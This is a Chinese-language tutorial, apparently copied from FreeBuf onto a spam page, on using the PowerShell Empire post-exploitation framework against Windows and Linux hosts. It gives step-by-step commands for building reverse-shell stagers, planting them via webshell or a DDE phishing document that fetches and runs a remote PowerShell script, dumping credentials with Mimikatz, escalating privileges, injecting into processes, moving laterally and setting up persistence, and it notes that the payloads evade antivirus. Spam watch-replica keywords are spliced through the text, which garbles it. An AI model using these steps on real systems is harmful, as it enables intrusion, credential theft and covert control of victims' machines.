копии часов-chopard_quartz_movement

*本文原創作者：FK_Tchopard_quartz_movement，本文屬FreeBuf原創獎勵計劃，未經許可禁止轉載

前言

PowerShsell Empire中文簡稱 “帝國” ，可能大多數隻聽說過這款內網滲透神器，針對windows係統平台而打造chopard_quartz_movement的一款滲透工具。在PowerShell方麵，帝國實現chopard_quartz_movement了無需powershell.exe即可運行PowerShell代理的功能，可快速部署的開發後的模塊從按鍵記錄到Mimikatz，可逃避網絡檢測的能力，適應性強的通信，都包裹在易用性為重點的框架,有點類似於像meterpreter。

Empire詳情介紹參考官方網站:http://powershellempire.com/

00X1

Empire運行在linux平台上,不要試圖使用centos環境,安裝前chopard_quartz_movement我們先看看install.sh腳本,建議使用Debian或Ubuntu,以及kali Linux係統,我使用的是係統是Ubuntu係統

git clone https://github.com/EmpireProject/Empire.git

進入Empire/setup目錄安裝./install.sh，install.sh腳本裏麵包含了很多遠程下載包,安裝過程比較緩慢。

sudo./install.sh

安裝到這就已經結束了,末尾讓我們輸入隨機生成的服務協商密碼,直接回車就行了。

目前最新版本可以到的是2.3包含282個模塊,和之前的,2.x之後有些使用方法以及命令都有了很大的區別,官網也沒有給出更新介紹使用。

輸入help查看Empire使用幫助信息

FreeBug有位前輩之前也發了篇關於Empire的文章,Empire2.x 後使用不太一樣,可能前輩細節部分沒有說清楚具體怎麽操作,評論後麵一排的有關使用操作問題，主要是細節用法方麵, 也是寫這篇文章初心之一,文章都是在不同的環境下進行的不過操作方法都是一樣的。

使用方法跟Meterpreter原理是一樣的,先設置一個監聽,這裏要注意了,輸入”listeners”它提示說沒有建立監聽,

輸入uselistener空格按下Tab鍵可以看到有7種模式

設置一個監聽模塊為http,這樣就可以了

(Empire:listeners) > uselistener http

(Empire: listeners/http) >

然後在輸入就能info查看具體參數設置

使用set命令可以設置相應參數,修改Name和Host，同樣的也可以使用help查看相關命令,然後輸入execute命令開始監聽。

set Name xiaobai (名字隨便填)

set Host ip (Empir所在服務器IP)

輸入listeners列出當前激活的listener

(Empire: Listenere/http) > listeners

這裏要注意一點，當開啟多個監聽的時候，必須使用不同的名稱，並且使用不同的端口，如果設置的端口已經被使用，會有已下提示信息。set空格按兩下Tab就會出現相關命令 如下圖。

(Empire: Listeners) > kill xiaobai 刪除監聽使用kill和創建過的Name的名,back返回上一層

00×2 生成木馬程序

設置完監聽，接著我們要生成木馬然後運行stager,同樣的輸入“uselistener”以後按下空格然後在按下tab鍵,可以看到總共是26個模塊。其中multi為通用模塊、osx mac操作係統、另外還有linux與windows模塊。 生成的文件類型有.dll,bat，vbs等。

1.launcher

實戰中直接命令usestager [具體模塊]就可以在/tmp目錄下生成一個特定文件格式的木馬後門，然後通過webshell上傳運行就可以了。下麵使用launcher+語言類型,不僅有powershell還有python。

使用launcher（這裏是pythonl ）+偵聽的名字“xiaobai”,如下圖可以看到生成的Payload是經過base64的編碼。

粘貼複製在Linux係統命令行運行即可,agents命令列出當前已激活的代理，“這裏注意如果目標主機Username帶有（*）的是已提權成功的代理,可通過bypassuac進行提權”，如下目標主機ubuntu已經被控製了。

同樣的使用launcher（這裏是 powershell）+偵聽的名字“fkt”。

剛剛使用kill刪除了這裏在重新設置了下

直接在目標機器上麵執行,就可以得到這個主機的權限，而且殺毒軟件沒有任何提示

使用Cobalt Strike生成的未經過編碼的PowerShell執行windows10就報毒提示了

2.agents代理中的使用

當執行上麵的powershell生成的木馬上線了就會有這段話(Empire: listeners)> [+] Initial agent xxx from ip now active (Slack) , Name就是上線的主機,使用agents就能看到信息條目,類似meterpreter的session會話一樣。

list stale #列出已丟失反彈代理權

那麽上線之後我們該如何操作,同樣的在agents下輸入help查看命令幫助。

(Empire: agents) >help

使用interact命令跟上剛剛上線的主機Name的名,類似meterpreter中的shell會話一樣,也可以直接調用cmd

（Empire: agents）> interact DUW9GMK8

（Empire: DUW9GMK8）> help

SC目標截圖

如下圖可以看到目標所有機器所在服務器的位置已經下載的文件,還可以使用download下載,upload 上傳文件等

我們直接輸入“net user”命令試試,提示使用““幫助”命令agentcmds,很簡單的在輸入“help agentcmds”就可以查看該命令用法,前麵加上一個shell就行,和Cobalt Strike->Interact ->Beacon執行的命令一樣。

#加載mimikatz,需要對帶有*的權限才能獲取係統賬號密碼。

creds #查看所有hash值包括明文

creds export/root/HE6YWBSZ.csv #出hash憑證到指定的路徑的格式

3.vbs反彈shell代理

由於之已經設置過了這裏隻需填寫之前監聽的名字,execute 執行完了之後會在Empire搭建的服務器上的/tmp/生成個vbs的木馬

拷貝到目標係統，將生成的這個launcher.vbs在目標機上打開，就會得到這個主機的權限,我使用的是windows10係統,自帶的殺毒軟件沒有任何提示如下。

如果要刪除該主機，使用kill或者remove命令，這兩個命令是有區別的！

當chopard_quartz_movement你想使用”remove V7EXYZT6“刪除這個名發現Empire還是會反彈過來,需要使用kill刪除,隻有刪除了監聽器的Name才可以使用remove,類似於“Cobalt Strike”需要先執行”Exit“在執行“Remove”才可以移除。

4.launcher_bat

輸入usestager windows/launcher_bat命令同樣的使用info查看相關參數

之前已經設置過了Name和Host這裏隻需要監聽下名稱就好，最後在執行下execute,默認在服務器上的/tmp/下生成加密過的PowerShelll木馬，為launcher_bat

直接目標機上打開launcher_bat，就可以得到這個主機的權限cmd一閃而過。這就相當於得到一個MSF會話

5.微軟 Office Word 無宏命令執行漏洞

無需開啟宏即可滲透：在Office文檔中利用DDE執行命令,利用之前爆的這個漏洞配合Emprie反彈一個會話複現下， “製作詳細傳送門” 我們把之前使用的(Empire: listeners) > launcherpowershell xiaobai 生成的powershell編碼過的攻擊代碼寫入到本地安裝的httpd默認安裝/var/www/html/demo.ps1路徑下

編寫釣魚文檔，調用cmd遠程下載執行powershell腳本

然後在誘導對方點擊這裏需要觸發兩次,虛擬機安裝了殺軟沒有任何有關惡意的安全警告

成功拿到會話如下

Empire2.3 包含usemodule204個模塊

列出大類模塊如下

code_execution #代碼執行

collection #信息收集模塊、屏幕截圖、鍵盤記錄 、剪貼板記錄等

credentials #密碼憑據的獲取和轉儲

exfiltration #指定ip進行端口掃描

lateral_movement #橫向滲透模塊

management #用來執行些係統設置，和郵件信息的收集

persistence #權限維持工具

privesc #權限提升

recon #偵察

situational_awareness #評估主機運行環境，網絡運行環境

trollsploit #惡作劇

(Empire: 9x7N513) > usemodule 空格Tba鍵如下

00X3

1.Empire和msf的聯動

想利用Empire派生一個meterpreter的shell回來,與Empire,msf進行配合使用，首先我們需要使用Empire建立一個監聽，命令如下

(Empire:YU6A1TWD) > usemodulecode_execution/invoke_shellcode

(Empire: powershell/code_execution/invoke_shellcode)> info

列出幫助信息

設置監聽的端口以及msfconsole所在的ip

set Lport 1234

set Lhost 192.168.1.85

execute

同樣的msf也需要設置,通過https的方式反向連接，在網速慢的情況下不穩定，如果反彈沒有收到數據，可以將監聽端口換成443就可以收到Empire反彈回來的shell了如下。

Useexploit/multi/handler

Set payload windows/meterpreter/reverse_https

SetLhost 192.168.1.85

Setlport 1234

exploit

2. 使用Empire內置模塊ms16-032提權

(Empire: 97KXRTD5) >usemodule privesc/ms16-032

(Empire: powershell/privesc/ms16-032)> set Listener xiaobai

(Empire:powershell/privesc/ms16-032) > execute

同樣的這裏也要需要設置下Listener如下：

3.收集目標有用的信息如下

4.AllChecks模塊

(Empire: 97KXRTD5) > usemoduleprivesc/powerup/allchecks # 檢查提權方法

(Empire:powershell/privesc/powerup/allchecks) > execute

執行完後，輸出可識別的漏洞並列出提權方法,跟PowerShell ，PowerUp.ps1腳本是一樣的

5.UAC 提權模塊

輸入usemodule privesc/bypassuac,在設置監聽的Name,然後在執行execute,需要目標主機主動點擊兩次觸發,成功反彈一個新的shell會話如下

輸入agents如下Username帶星號的即為剛剛提權成功的

6. arpscan 網絡掃描

Empire內置arpsan模塊，在局域網內發送ARP數據包，用來收集活躍主機IP和MAC地址信息

輸入usemodule situational_awareness/network/arpscan

set Range 192.168.2.0-192.168.2.254 設置要掃描的的網段

execute 執行命令

7.會話注入得到反彈代理

(Empire: FD6TGMH7) > usemodulemanagement/psinject

(Empire: powershell/management/psinject)> info

(Empire: powershell/management/psinject)> set ProcId 2264

(Empire: powershell/management/psinject)> set Listener xiaobai

(Empire: powershell/management/psinject)> execute

選擇psinject模塊進行會話注入,直接輸入ps選擇一個進程的PID,使用進程注入模塊，來獲取權限。需要設置的就是ProcID 和 Listener就好了。

設置好後執行，會返回一個新的會話

8.psexec模塊橫向生成一個反彈代理

(Empire:powershell/lateral_movement/invoke_psexec) > set ComputerName 192.168.1.116

(Empire:powershell/lateral_movement/invoke_psexec) > set Listener xiaobai

(Empire:powershell/lateral_movement/invoke_psexec) > execute

選擇一個帶*的目標主機使用invoke_psexec該模塊進行橫向滲透，設置目標的主機和監聽名如下

成功則反彈一個新的會話權限為system

00×4 權限維持

1.registry

在注冊表regedit HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug可以看到

因為是開機啟動，所以會彈個黑框,之後還會彈出注冊表添加的powershell啟動項的框

2.schtasks

同樣的選擇schtasks模塊設置下監聽名就行,這裏還需要設置下DailyTime時間如果不設置默認的是每天早上的9點

(Empire: DCBL4SUF) > usemodule persistence/elevated/schtasks*

(Empire:powershell/persistence/elevated/schtasks) > set Listener xiaobai

(Empire:powershell/persistence/elevated/schtasks) >set DailyTime 22:30 （設置時間）

(Empire:powershell/persistence/elevated/schtasks) > execute

在任務計劃程序庫可以看到-任務為Updater-啟動程序如下可以到為powershell

這裏就不等了手動啟動下重新反彈一個新的會話

(Empire: BLWHGFPS) > agents

第一個是注冊表的權限還是不變，第2個為服務任務計劃程序庫提權之後為ssystem 權限

總結

最近工作交接比較忙,筆記本太重了 , 在公司部署好的環境,回來借朋友的電腦重新安裝環境,還有些模塊功能沒寫,花了幾天時間寫到這眼都花了,由於沒有域環境,文章中隻是介紹了Empirer大致的基本用法，大量的模塊都集成在usemodule下，主要還是在於引導,使用方法多用多練就好,才能在實踐中靈活的運用,希望通過篇文章對沒有接觸過的Empire有一個比較全麵的了解。

參考:

官網WiKi

滲透神器Empire安裝和簡單使用

*本文原創作者：FK_T，本文屬FreeBuf原創獎勵計劃，未經許可禁止轉載